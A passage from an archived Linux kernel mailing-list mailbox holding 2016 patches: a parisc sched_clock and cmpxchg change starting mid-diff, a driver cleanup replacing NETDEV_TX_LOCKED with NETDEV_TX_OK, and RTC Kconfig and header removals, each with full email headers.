+#ifdef CONFIG_64BIT
+	now = mfctl(16);
+#else
+	now = mfctl(16) + (((u64) this_cpu_read(cr16_high_32_bits)) << 32);
+#endif
+
+	/* return the value in ns (cycles_2_ns) */
+	return mul_u64_u32_shr(now, cyc2ns_mul, cyc2ns_shift);
+}
+
+
+/*
+ * timer interrupt and sched_clock() initialization
+ */
+
 void __init time_init(void)
 {
 	unsigned long current_cr16_khz;
 
+	current_cr16_khz = PAGE0->mem_10msec/10;  /* kHz */
 	clocktick = (100 * PAGE0->mem_10msec) / HZ;
 
+	/* calculate mult/shift values for cr16 */
+	clocks_calc_mult_shift(&cyc2ns_mul, &cyc2ns_shift, current_cr16_khz,
+				NSEC_PER_MSEC, 0);
+
+#if defined(CONFIG_HAVE_UNSTABLE_SCHED_CLOCK) && defined(CONFIG_64BIT)
+	/* At bootup only one 64bit CPU is online and cr16 is "stable" */
+	set_sched_clock_stable();
+#endif
+
 	start_cpu_itimer();	/* get CPU 0 started */
 
 	/* register at clocksource framework */
-	current_cr16_khz = PAGE0->mem_10msec/10;  /* kHz */
 	clocksource_register_khz(&clocksource_cr16, current_cr16_khz);
 }
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index 1871188..8e45b0a 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -55,11 +55,10 @@ unsigned long __xchg8(char x, char *ptr)
 }
 
 
-#ifdef CONFIG_64BIT
-unsigned long __cmpxchg_u64(volatile unsigned long *ptr, unsigned long old, unsigned long new)
+u64 __cmpxchg_u64(volatile u64 *ptr, u64 old, u64 new)
 {
 	unsigned long flags;
-	unsigned long prev;
+	u64 prev;
 
 	_atomic_spin_lock_irqsave(ptr, flags);
 	if ((prev = *ptr) == old)
@@ -67,7 +66,6 @@ unsigned long __cmpxchg_u64(volatile unsigned long *ptr, unsigned long old, unsi
 	_atomic_spin_unlock_irqrestore(ptr, flags);
 	return prev;
 }
-#endif
 
 unsigned long __cmpxchg_u32(volatile unsigned int *ptr, unsigned int old, unsigned int new)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Florian Westphal <fw@strlen.de>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.hams
Subject: [PATCH net-next 4/6] drivers: net: use NETDEV_TX_OK instead of NETDEV_TX_LOCKED
Date: Sun, 24 Apr 2016 21:38:12 +0200
Lines: 135
Approved: news@gmane.org
Message-ID: <1461526694-11367-5-git-send-email-fw@strlen.de>
References: <1461526694-11367-1-git-send-email-fw@strlen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461526742 16852 80.91.229.3 (24 Apr 2016 19:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Apr 2016 19:39:02 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Florian Westphal <fw@strlen.de>,
	linux-parisc@vger.kernel.org, linux-hams@vger.kernel.org,
	Thomas Sailer <t.sailer@alumni.ethz.ch>
To: <netdev@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Apr 24 21:38:56 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1auPrr-0006JX-OR
	for glk-linux-kernel-3@plane.gmane.org; Sun, 24 Apr 2016 21:38:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753318AbcDXTif (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 24 Apr 2016 15:38:35 -0400
Original-Received: from Chamillionaire.breakpoint.cc ([80.244.247.6]:59117 "EHLO
	Chamillionaire.breakpoint.cc" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753195AbcDXTid (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 24 Apr 2016 15:38:33 -0400
Original-Received: from fw by Chamillionaire.breakpoint.cc with local (Exim 4.84_2)
	(envelope-from <fw@breakpoint.cc>)
	id 1auPrS-0007Wz-FX; Sun, 24 Apr 2016 21:38:30 +0200
X-Mailer: git-send-email 2.7.3
In-Reply-To: <1461526694-11367-1-git-send-email-fw@strlen.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2206092 gmane.linux.network:409542 gmane.linux.ports.parisc:26662 gmane.linux.hams:7345
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2206092>

These drivers already call netif_stop_queue() so we should not be called
unless tx space is available.  Just free the skb and return TX_OK.

Followup patch will remove NETDEV_TX_LOCKED from the kernel.

Cc: linux-parisc@vger.kernel.org
Cc: linux-hams@vger.kernel.org
Cc: Thomas Sailer <t.sailer@alumni.ethz.ch>
Signed-off-by: Florian Westphal <fw@strlen.de>
---
 checkpatch chokes on this one, tulip uses spaces, not tabs...

 drivers/net/ethernet/amd/7990.c        | 8 +++++---
 drivers/net/ethernet/amd/a2065.c       | 7 +++----
 drivers/net/ethernet/dec/tulip/de4x5.c | 7 +++++--
 drivers/net/hamradio/baycom_epp.c      | 6 ++++--
 drivers/net/hamradio/hdlcdrv.c         | 6 ++++--
 5 files changed, 21 insertions(+), 13 deletions(-)

diff --git a/drivers/net/ethernet/amd/7990.c b/drivers/net/ethernet/amd/7990.c
index 66d0b73c..8e75755 100644
--- a/drivers/net/ethernet/amd/7990.c
+++ b/drivers/net/ethernet/amd/7990.c
@@ -543,11 +543,13 @@ int lance_start_xmit(struct sk_buff *skb, struct net_device *dev)
 	static int outs;
 	unsigned long flags;
 
-	if (!TX_BUFFS_AVAIL)
-		return NETDEV_TX_LOCKED;
-
 	netif_stop_queue(dev);
 
+	if (!TX_BUFFS_AVAIL) {
+		dev_consume_skb_any(skb);
+		return NETDEV_TX_OK;
+	}
+
 	skblen = skb->len;
 
 #ifdef DEBUG_DRIVER
diff --git a/drivers/net/ethernet/amd/a2065.c b/drivers/net/ethernet/amd/a2065.c
index 5613918..2a18d34 100644
--- a/drivers/net/ethernet/amd/a2065.c
+++ b/drivers/net/ethernet/amd/a2065.c
@@ -547,10 +547,8 @@ static netdev_tx_t lance_start_xmit(struct sk_buff *skb,
 
 	local_irq_save(flags);
 
-	if (!lance_tx_buffs_avail(lp)) {
-		local_irq_restore(flags);
-		return NETDEV_TX_LOCKED;
-	}
+	if (!lance_tx_buffs_avail(lp))
+		goto out_free;
 
 #ifdef DEBUG
 	/* dump the packet */
@@ -573,6 +571,7 @@ static netdev_tx_t lance_start_xmit(struct sk_buff *skb,
 
 	/* Kick the lance: transmit now */
 	ll->rdp = LE_C0_INEA | LE_C0_TDMD;
+ out_free:
 	dev_kfree_skb(skb);
 
 	local_irq_restore(flags);
diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index 3acde3b..d88fbab 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -1465,7 +1465,7 @@ de4x5_queue_pkt(struct sk_buff *skb, struct net_device *dev)
 
     netif_stop_queue(dev);
     if (!lp->tx_enable)                   /* Cannot send for now */
-	return NETDEV_TX_LOCKED;
+		goto tx_err;
 
     /*
     ** Clean out the TX ring asynchronously to interrupts - sometimes the
@@ -1478,7 +1478,7 @@ de4x5_queue_pkt(struct sk_buff *skb, struct net_device *dev)
 
     /* Test if cache is already locked - requeue skb if so */
     if (test_and_set_bit(0, (void *)&lp->cache.lock) && !lp->interrupt)
-	return NETDEV_TX_LOCKED;
+		goto tx_err;
 
     /* Transmit descriptor ring full or stale skb */
     if (netif_queue_stopped(dev) || (u_long) lp->tx_skb[lp->tx_new] > 1) {
@@ -1519,6 +1519,9 @@ de4x5_queue_pkt(struct sk_buff *skb, struct net_device *dev)
     lp->cache.lock = 0;
 
     return NETDEV_TX_OK;
+tx_err:
+	dev_kfree_skb_any(skb);
+	return NETDEV_TX_OK;
 }
 
 /*
diff --git a/drivers/net/hamradio/baycom_epp.c b/drivers/net/hamradio/baycom_epp.c
index 72c9f1f..eb66638 100644
--- a/drivers/net/hamradio/baycom_epp.c
+++ b/drivers/net/hamradio/baycom_epp.c
@@ -780,8 +780,10 @@ static int baycom_send_packet(struct sk_buff *skb, struct net_device *dev)
 		dev_kfree_skb(skb);
 		return NETDEV_TX_OK;
 	}
-	if (bc->skb)
-		return NETDEV_TX_LOCKED;
+	if (bc->skb) {
+		dev_kfree_skb(skb);
+		return NETDEV_TX_OK;
+	}
 	/* strip KISS byte */
 	if (skb->len >= HDLCDRV_MAXFLEN+1 || skb->len < 3) {
 		dev_kfree_skb(skb);
diff --git a/drivers/net/hamradio/hdlcdrv.c b/drivers/net/hamradio/hdlcdrv.c
index 49fe59b..4bad0b8 100644
--- a/drivers/net/hamradio/hdlcdrv.c
+++ b/drivers/net/hamradio/hdlcdrv.c
@@ -412,8 +412,10 @@ static netdev_tx_t hdlcdrv_send_packet(struct sk_buff *skb,
 		dev_kfree_skb(skb);
 		return NETDEV_TX_OK;
 	}
-	if (sm->skb)
-		return NETDEV_TX_LOCKED;
+	if (sm->skb) {
+		dev_kfree_skb(skb);
+		return NETDEV_TX_OK;
+	}
 	netif_stop_queue(dev);
 	sm->skb = skb;
 	return NETDEV_TX_OK;
-- 
2.7.3



From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: [PATCH 7/8] char/genrtc: disallow building on Alpha
Date: Tue, 26 Apr 2016 23:44:11 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <1461707052-1337718-8-git-send-email-arnd@arndb.de>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707144 17075 80.91.229.3 (26 Apr 2016 21:45:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:45:44 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, tony.luck@intel.com,
	geert@linux-m68k.org, jejb@parisc-linux.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	rth@twiddle.net, ink@jurassic.park.msu.ru,
	linux-alpha@vger.kernel.org, x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Apr 26 23:45:33 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1avAnS-0002ou-0f
	for glka-linux-arch@plane.gmane.org; Tue, 26 Apr 2016 23:45:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752477AbcDZVp2 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 26 Apr 2016 17:45:28 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.187]:58296 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751881AbcDZVp0 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 26 Apr 2016 17:45:26 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPA (Nemesis) id 0LnFtp-1bMHvz3KpB-00hKDR; Tue, 26 Apr
 2016 23:44:51 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:Bs9peEVr1AVnKuL2byYQVF5LlxOxdHfDlKyTdv/sarHijJ9i5al
 9TDFuhwQdPztANrp0yvv5rRjEiuWyFfFND+/2NYDnpbvvvVXQknhopqAoP9zpvGVkRaRUER
 3JiIxjssJuAN3RoPMe1c4a1I/EmXQ8IlDghJvSrmlC2dWXFZJmFVB5ACHtFgRY6SZlIG7eq
 kAa5wdh2isSh4F0VQKyNw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ObW0x+54NAs=:CbY84Rb0NXyHX8HuuReVQE
 gGBcVRijGZebo5y1M+OgG0BgtqDfR2KQlU/njzRNR9Vv9uBAGkq89jQ2srJBR+a8t0a16eCdQ
 OaDY3UY0Fqg0sFVM3gMsXQNq8/vbrN46MadkgXcm59mWJjegoHK11RN3Ox/2Bph83j8Pa/Zbw
 2+KiGpb3dP1PPCtgmSraUEnBUZZTNLoC8zilXoYSBV6AHHBMrnzEpMTk7/6DFFFt7sYqpgD8t
 IM8tHlfoIU0rXhDaMB1X6N3vB4UJgBKsS7kbKv+35yP95mFi2LmPJ+u/nAO+f//6u/WNs+PCl
 8dctboMMFgGZRbaKzC5M2Yt4jP+EGbxfOsFbFcdZVZyGm6hvZI8ElYdcsLMKWNTEn7VL6zxUq
 oONt7UWaHY7aGBB8IMYZ+G1lNayuEq3f0bTWCqP3EUL4D5om4ET1PEuh++SJotwcHTpYbGGT1
 Hqraiv0p1H1wiedFznIjkM9ZMFihUl3K4eKYEnXANhIR2T4AeeZKxc5rSXEJkrwI0K9L8u0jZ
 l4NyJyR43R/E1D9nC3frSbEUrh+OWZmOc2UaiGS+1mLYucTHmnmIJOFnYbAr3AbM1VmHqBovJ
 JwbucOkibn/CA4q75YMec8atNQE82NumGipYECRFhl9nFS74ZffWqT1tuIJKUMZP0ZtWqDWJN
 lQ/Z8yuy8zMKMcOaWRJBu929IVaNHxcvfW8tePK4m+XRldjS2ZZ96cREPKVtArF2nXzc=
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:31692 gmane.linux.ports.alpha:3638 gmane.linux.kernel:2208415 gmane.linux.ports.ia64:26650 gmane.linux.ports.parisc:26663 gmane.linux.ports.ppc64.devel:126422 gmane.linux.ports.sh.devel:53819
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/31692>

The genrtc driver serves no purpose on Alpha because it drives the
same hardware as the original rtc.c driver, and the newer rtc-generic.c
or rtc-cmos.c drivers on architectures that use the asm-generic/rtc.h
header.

The defconfig uses CONFIG_RTC=y, so this driver is not used by default.
At one point it was used to abstract a quirk for the "Marvel" platform,
but it does not do this any more after the code was moved into yet
another driver in arch/alpha/kernel/rtc.c.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/char/Kconfig | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 9bdb629fbaae..697510325b1d 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on ALPHA || M68K || MN10300 || PARISC || PPC
+	depends on M68K || MN10300 || PARISC || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/8] char/rtc: replace blacklist with whitelist
Date: Tue, 26 Apr 2016 23:44:05 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <1461707052-1337718-2-git-send-email-arnd@arndb.de>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707157 17196 80.91.229.3 (26 Apr 2016 21:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:45:57 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, tony.luck@intel.com,
	geert@linux-m68k.org, jejb@parisc-linux.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	rth@twiddle.net, ink@jurassic.park.msu.ru,
	linux-alpha@vger.kernel.org, x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Apr 26 23:45:45 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1avAnh-0002tX-5i
	for glps-linuxsh-dev@plane.gmane.org; Tue, 26 Apr 2016 23:45:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752843AbcDZVpb (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 26 Apr 2016 17:45:31 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.187]:63199 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752210AbcDZVp0 (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 26 Apr 2016 17:45:26 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPA (Nemesis) id 0LwEDC-1bmJNY1SAg-0186A6; Tue, 26 Apr
 2016 23:44:46 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:03GHigK4UM203JlT4A/GcpASsEQw9XNLDzvfpwvrlHBfLqYz14G
 R52SzEGM4cQddMSGRqRWQ0Wr7jAyRvDCoAE+WDWocOkRNqAEtpdfdSLemGYDmDdEi1sQCBu
 Ailr/CZijprqbgKQxCiR0wBHVzhaRv46/TYLNFwTKGKUCKdc+DUWyL8gJyVOufSwCtcxMZr
 G5+eS18u059SW9tab9V4A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:kX8LncTnIDU=:H9hzXW55pcn17S1HuP884L
 XvkjTr4chTWGcX82Eqha07N3jp2HkBT2AqBDfZj7pJRuVifBGmMiodMB43nUoLD4Dvj9H7Ql4
 nzH8/eTaUl9wFVSINGclCPeQNHSyUKX0P+x5M87Qr0zGG2F6bLJbnQBneFk6JZA1ZSLrNap9f
 yP4uO27svo5f/1MQrBPHzIhenc7KpsR+bXIwk56Uq4gVw/sQGUJ4LaP7uajkY4iE1mcZMq1aY
 hlsFgPip8kvcw2LCxsUyLh8A2Maema1FauJKgoYKCdSa4tHI5RPM2oxUScWDsWVZH+Pc6FIRn
 4gwG99tSH1fd4mXAwelPZAd8rOVR20rk+43ZW/6f2Uhw//sI+yQyNGgrHDIzGojN4BwEP6w1N
 bz2lKqhg6auu8PZH1E03rJhEh0eLynP+kfcendNVJhcjgIEY0NnJxbZRK8v7+0SVhqJodD6cd
 +WvGAriOnN4PmKR5OcCSg8PAdSjNP8AK/RJYC70u3xxQB5A52EFxzhggPgzUzm7MIOjN6cVeY
 q7okgJHpZ6/H/Bgwabi9eegSGixg7z9oMUXlOwyvvuTy7Er3xfh7a3bhrYKKsNmdRH6al4q7X
 UZm1+ibPTBpiXzwQMlX3HNdMAok8wvqeibvZBeNTtX1W8nqx/Z/ULWakPjsM/cozk67Nt4OW3
 K42mFinKb9zcP7q+dnfBA6xdTfOZTVGTsqDfJEkgJYRoFAw1oDrRgw1QCT2ButIzvv/I=
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53820 gmane.linux.ports.alpha:3639 gmane.linux.kernel:2208416 gmane.linux.ports.ia64:26651 gmane.linux.ports.parisc:26664 gmane.linux.ports.ppc64.devel:126423 gmane.linux.kernel.cross-arch:31693
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53820>

Every new architecture has to add itself to the growing list of those
that do not support the legacy PC RTC driver.

This replaces the long list of architectures that don't support it
with a shorter list of those that do.

The list is taken from those architectures that have a non-empty
asm/mc146818rtc.h header file and were not explicitly blacklisted.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/char/Kconfig | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 3ec0766ed5e9..66b5d48f409a 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -279,8 +279,7 @@ if RTC_LIB=n
 
 config RTC
 	tristate "Enhanced Real Time Clock Support (legacy PC RTC driver)"
-	depends on !PPC && !PARISC && !IA64 && !M68K && !SPARC && !FRV \
-			&& !ARM && !SUPERH && !S390 && !AVR32 && !BLACKFIN && !UML
+	depends on ALPHA || (MIPS && MACH_LOONGSON64) || MN10300 || X86
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 3/8] char/rtc: remove empty asm/mc146818rtc.h files
Date: Tue, 26 Apr 2016 23:44:07 +0200
Lines: 109
Approved: news@gmane.org
Message-ID: <1461707052-1337718-4-git-send-email-arnd@arndb.de>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707158 17457 80.91.229.3 (26 Apr 2016 21:45:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:45:58 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, tony.luck@intel.com,
	geert@linux-m68k.org, jejb@parisc-linux.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	rth@twiddle.net, ink@jurassic.park.msu.ru,
	linux-alpha@vger.kernel.org, x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Apr 26 23:45:47 2016
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1avAni-0002tX-Ar
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 26 Apr 2016 23:45:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753032AbcDZVpn (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 26 Apr 2016 17:45:43 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.133]:56565 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752998AbcDZVpl (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 26 Apr 2016 17:45:41 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPA (Nemesis) id 0McRqW-1bChdX3Qf2-00HgeK; Tue, 26 Apr
 2016 23:44:48 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:afhi0iTn1Gz1bo0wRnWsLzLP9cyaB02Tkq8dUSeiC5v4TED9siE
 oulsIQ9nkvViXlM5qxsjQ/PIW4OT1/89uCAv1RkcDmkZ2e7o4Q+0E3Mdwtc2TU5qQf1oAbm
 dzeGB3AJuZ1VeOc1hSHql1O7O3kZUfFXe/nK4h+fXMgNp/j1bIbVjBavVbMlPHgqF6zwJli
 IKg3YzpvyNF4w19VaKjeA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:dKv0rTkp+cQ=:RUO9HGaB5656kPshjyuRYd
 vKJ1WPnL/ieBhuUjGG16WdTFIfeqXlvg6fQxFKmgxDKJLjfccbfodiYTSj94ONz0l4nbFzy+/
 j1t3WO9XZfSRjgyKmTNQcTCVDSji317oCPnUnNdR5UMoMoMqZHxvJFGd2BNy2f1Pw451ryhHS
 k8EtYlXxCmkkjgijtatmT29fKKj9JFu5hc/sUXjxKVrswteZ3IYpyqcAlQa609H7ZT86yr70H
 EmMH/2KFJKoGf9ghlcsga7BCwha3b390eRmYJhUypjQr5FTgimxgQo16BE2it0gXY8XyNdXS3
 XfAeNbtrIcQ+c8yVF/RHXamrEJgOH1B0f2fdFpD+lD15glp1CBsbcSW1+1dwbR2tJ9hK8ZGqb
 /dCoK/jMqL7/A/1sgJx5iRJ9Pix48DiPGy/QEZb8Iu/SR5CjzjVS6G+oRo5K+cLqZkwD0jkqo
 oTcU/3g84TdDwCpd5zoqdw1jlKEaI0NMidNLVynY7cR8KzJbKYsTxkgx1vtW0qv5ttioavg/5
 R8lQjr8tCA9ESYEH3Liive39aqFEGZyTP4h336Na8psFYKnwMa76T4mMuRCUfrSCf+9isXYCj
 /UY/kiYdmV4wwgYbIaxEUB8ibUG2wwann1+dmAI6yyp46ZZHG3LNZ95LIyRndwkcykHpMzXp8
 uGmk341p8KMMs2DyKhQ8uG1fnDF1Vaf/vZh9xsnviut78hBl7ziBcZh4DbZ8GHWrXeM8=
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:26652 gmane.linux.ports.alpha:3640 gmane.linux.kernel:2208417 gmane.linux.ports.parisc:26665 gmane.linux.ports.ppc64.devel:126424 gmane.linux.ports.sh.devel:53821 gmane.linux.kernel.cross-arch:31694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/26652>

Nothing on these architectures ever includes the asm/mc146818rtc.h
file, the drivers that used to do this have been fixed long ago,
and the remaining users are all PC-specific.

This removes the files for good.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/frv/include/asm/mc146818rtc.h    | 16 ----------------
 arch/h8300/include/asm/mc146818rtc.h  |  9 ---------
 arch/ia64/include/asm/mc146818rtc.h   | 10 ----------
 arch/parisc/include/asm/mc146818rtc.h |  9 ---------
 arch/sh/include/asm/mc146818rtc.h     |  7 -------
 5 files changed, 51 deletions(-)
 delete mode 100644 arch/frv/include/asm/mc146818rtc.h
 delete mode 100644 arch/h8300/include/asm/mc146818rtc.h
 delete mode 100644 arch/ia64/include/asm/mc146818rtc.h
 delete mode 100644 arch/parisc/include/asm/mc146818rtc.h
 delete mode 100644 arch/sh/include/asm/mc146818rtc.h

